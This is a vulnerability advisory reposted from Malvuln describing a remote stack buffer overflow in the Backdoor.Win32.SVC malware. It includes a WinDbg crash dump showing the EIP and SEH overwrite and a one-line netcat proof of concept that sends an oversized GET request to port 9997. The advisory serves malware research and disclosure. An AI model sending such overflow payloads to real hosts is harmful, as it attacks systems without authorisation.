Friday, January 7, 2022

Backdoor.Win32.SVC Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/011961a42700e7385a106d362eb661c7.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.SVC
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP port 9997. Third-party attackers who can reach an infected system can make an specially crafted HTTP GET request to trigger a classic stack buffer overflow overwriting ECX, EIP registers and structured exception handler (SEH).
Type: PE32
MD5: 011961a42700e7385a106d362eb661c7
Vuln ID: MVID-2022-0446
ASLR: False
DEP: False
Safe SEH: False
Disclosure: 01/05/2022

Memory Dump:
(31c.1e64): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1580 ebp=000a15a0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???

0:000> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1580 ebp=000a15a0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???

0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

*** WARNING: Unable to verify checksum for Backdoor.Win32.SVC.011961a42700e7385a106d362eb661c7.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.SVC.011961a42700e7385a106d362eb661c7.exe

FAULTING_IP:
Backdoor_Win32_SVC_011961a42700e7385a106d362eb661c7+141e
0040141e f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

EXCEPTION_RECORD: 0019f360 -- (.exr 0x19f360)
ExceptionAddress: 0040141e (Backdoor_Win32_SVC_011961a42700e7385a106d362eb661c7+0x0000141e)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 001a0000
Attempt to write to address 001a0000

PROCESS_NAME: Backdoor.Win32.SVC.011961a42700e7385a106d362eb661c7.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000008

EXCEPTION_PARAMETER2: 41414141

WRITE_ADDRESS: 41414141

FOLLOWUP_IP:
mswsock!WSPAccept+0
71c8c1b0 68ec010000 push 1ECh

FAILED_INSTRUCTION_ADDRESS:
+0
41414141 ?? ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

IP_ON_HEAP: 41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT: 0019f3b0 -- (.cxr 0x19f3b0)
eax=000007fc ebx=00000000 ecx=00000089 edx=0019fa28 esi=004050ac edi=001a0000
eip=0040141e esp=0019f810 ebp=007c06fe iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Backdoor_Win32_SVC_011961a42700e7385a106d362eb661c7+0x141e:
0040141e f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
Resetting default scope

ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER: from 773a13ee to 0040141e

FAULTING_THREAD: ffffffff

BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

STACK_TEXT:
0019f810 0040141e backdoor_win32_svc+0x141e
0019f850 773a13ee ntdll!RtlAllocateHeap+0x3e
0019f89c 71c8cf6d mswsock!WSPAccept+0xdbd
0019fabc 41414141 unknown!printable+0x0

0019ff8c 41414141 unknown!printable+0x0
0019ff90 41414141 unknown!p

SYMBOL_NAME: mswsock!WSPAccept+0

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: mswsock

IMAGE_NAME: mswsock.dll

DEBUG_FLR_IMAGE_TIMESTAMP: 0

STACK_COMMAND: .cxr 000000000019F3B0 ; kb ; dds 19f810 ; kb

FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_mswsock.dll!WSPAccept

BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_mswsock!WSPAccept+0

Followup: MachineOwner
---------

0:000> !exchain
000a1594: ntdll!ExecuteHandler2+44 (773e9d70)
000a1b44: ntdll!ExecuteHandler2+44 (773e9d70)
...
0019fc74: 41414141
Invalid exception stack at 41414141

Exploit/PoC:
python -c "print('GET /'+'A'*5173+' HTTP/1.1\r\n\r\n')" | nc64.exe x.x.x.x 9997


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
 

Copyright © 2021 Vulnerability Database | Cyber Details™

thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore